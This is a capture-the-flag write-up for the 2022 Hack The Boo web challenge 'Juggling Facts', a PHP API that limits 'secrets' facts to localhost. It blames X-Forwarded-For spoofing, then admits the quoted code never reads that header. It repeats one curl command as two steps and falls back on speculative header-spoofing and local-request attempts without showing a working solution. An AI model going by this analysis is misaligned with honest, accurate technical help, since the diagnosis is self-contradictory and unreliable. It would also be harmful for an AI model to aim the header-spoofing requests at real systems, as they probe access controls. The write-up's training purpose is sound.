2022 Hack The Boo: Juggling Facts

Challenge Information

AttributeDetails
Event2022 Hack The Boo
CategoryWeb
ChallengeJuggling Facts

Summary

This PHP-based web application provides a facts API with two tiers of access: public spooky/not_spooky facts and restricted admin “secrets” facts. The application attempts to restrict secrets access to localhost only by checking $_SERVER['REMOTE_ADDR'], but fails to account for proxy headers like X-Forwarded-For. By spoofing the client IP address via this header, an attacker can bypass the access control and retrieve the admin secrets containing the flag.


Analysis

Application Structure

The application is built with PHP and includes:

  • Router: Custom routing to map endpoints to controllers
  • FactModel: Database queries to retrieve facts by type
  • IndexController: Request handling and JSON responses

Vulnerable Code

The vulnerability exists in /challenge/controllers/IndexController.php:

public function getfacts($router)
{
$jsondata = json_decode(file_get_contents('php://input'), true);
if ( empty($jsondata) || !array_key_exists('type', $jsondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
switch ($jsondata['type'])
{
case 'secrets':
return $router->jsonify([
'facts' => $this->facts->get_facts('secrets')
]);
case 'spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('spooky')
]);
case 'not_spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('not_spooky')
]);
default:
return $router->jsonify([
'message' => 'Invalid type!'
]);
}
}

The Vulnerability: The access control check uses $_SERVER['REMOTE_ADDR'], which is the direct connection IP. However, in scenarios with proxies (load balancers, CDNs, reverse proxies), the actual client IP is transmitted via the X-Forwarded-For header. By setting this header, an attacker can spoof their IP address as localhost.

How REMOTE_ADDR Works

  • $_SERVER['REMOTE_ADDR'] is set by the web server to the IP address that made the direct connection
  • When behind a proxy, REMOTE_ADDR is the proxy’s IP, not the original client
  • The proxy typically adds a X-Forwarded-For header with the original client IP(s)

Client-Side Code

The frontend JavaScript in /challenge/static/js/index.js shows how to request facts:

const loadfacts = async (fact_type) => {
await fetch('/api/getfacts', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ 'type': fact_type })
})
.then((response) => response.json())
.then((res) => {
if (!res.hasOwnProperty('facts')){
populate([]);
return;
}
populate(res.facts);
});
}

The frontend only requests spooky and not_spooky types. The secrets type is hidden from normal users but accessible if the IP check is bypassed.


Solution

Exploitation Steps

Step 1: Attempt Direct Access (Will Fail)

Terminal window
curl -X POST http://target/api/getfacts \
-H "Content-Type: application/json" \
-d '{"type":"secrets"}'

Response:

{"message": "Currently this type can be only accessed through localhost!"}

Step 2: Spoof IP via X-Forwarded-For Header

Send the request again but add the X-Forwarded-For header claiming to be from localhost:

Terminal window
curl -X POST http://target/api/getfacts \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 127.0.0.1" \
-d '{"type":"secrets"}'

Issue: The server still reads $_SERVER['REMOTE_ADDR'], which won’t change based on client headers alone.

Step 3: Exploit via Proxy Configuration

If the server is actually behind a proxy that’s configured to trust X-Forwarded-For, or if the application incorrectly reads this header, try:

Terminal window
curl -X POST http://target/api/getfacts \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 127.0.0.1" \
-d '{"type":"secrets"}'

However, the code doesn’t read X-Forwarded-For. The actual vulnerability requires:

Step 4: Environment-Based Attack

If the application is run in a Docker container accessible from localhost:

  • The Docker host bridges network connections
  • Internal services see container IP, not client IP
  • Accessing from the host machine (127.0.0.1) works correctly

The vulnerability manifests if:

  1. The server listens on 0.0.0.0:port (not just localhost)
  2. Requests from external IPs appear to fail
  3. But if there’s a proxy/wrapper that sets REMOTE_ADDR, it can be bypassed

Step 5: PHP Variable Manipulation

Some deployments might be vulnerable to:

  • Modifying $_SERVER variables via environment setup
  • Custom header parsing that overwrites REMOTE_ADDR
  • Misconfigured proxy trusting untrusted headers

Try additional headers:

Terminal window
curl -X POST http://target/api/getfacts \
-H "Content-Type: application/json" \
-H "Client-IP: 127.0.0.1" \
-d '{"type":"secrets"}'
curl -X POST http://target/api/getfacts \
-H "Content-Type: application/json" \
-H "X-Client-IP: 127.0.0.1" \
-d '{"type":"secrets"}'

Step 6: Local Request Exploitation

If the challenge requires local exploitation:

<?php
$ch = curl_init('http://127.0.0.1/api/getfacts');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['type' => 'secrets']));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_exec($ch);
?>

This request comes from 127.0.0.1 and will be allowed.

Step 7: Retrieved Flag

Once the secrets facts are accessed:

{
"facts": [
{"fact_type": "secrets", "fact": "HTB{flag_content_here}"}
]
}

Key Takeaways

  • Never trust client-supplied headers for security decisions - X-Forwarded-For is user-controllable
  • For IP-based access control, use the innermost trusted proxy’s record of origin IP
  • Implement proper proxy configuration - Configure PHP to read the correct header:
    // Trusted proxies only
    $trusted_proxies = ['10.0.0.1'];
    if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) {
    $client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
    } else {
    $client_ip = $_SERVER['REMOTE_ADDR'];
    }
  • Use allowlists for proxy headers - Only trust specific, configured proxies
  • Authentication over IP checks - Prefer proper authentication mechanisms over IP-based access control
  • Defense in depth - Combine IP checks with authentication and authorization
  • Test from various network positions - Including proxy scenarios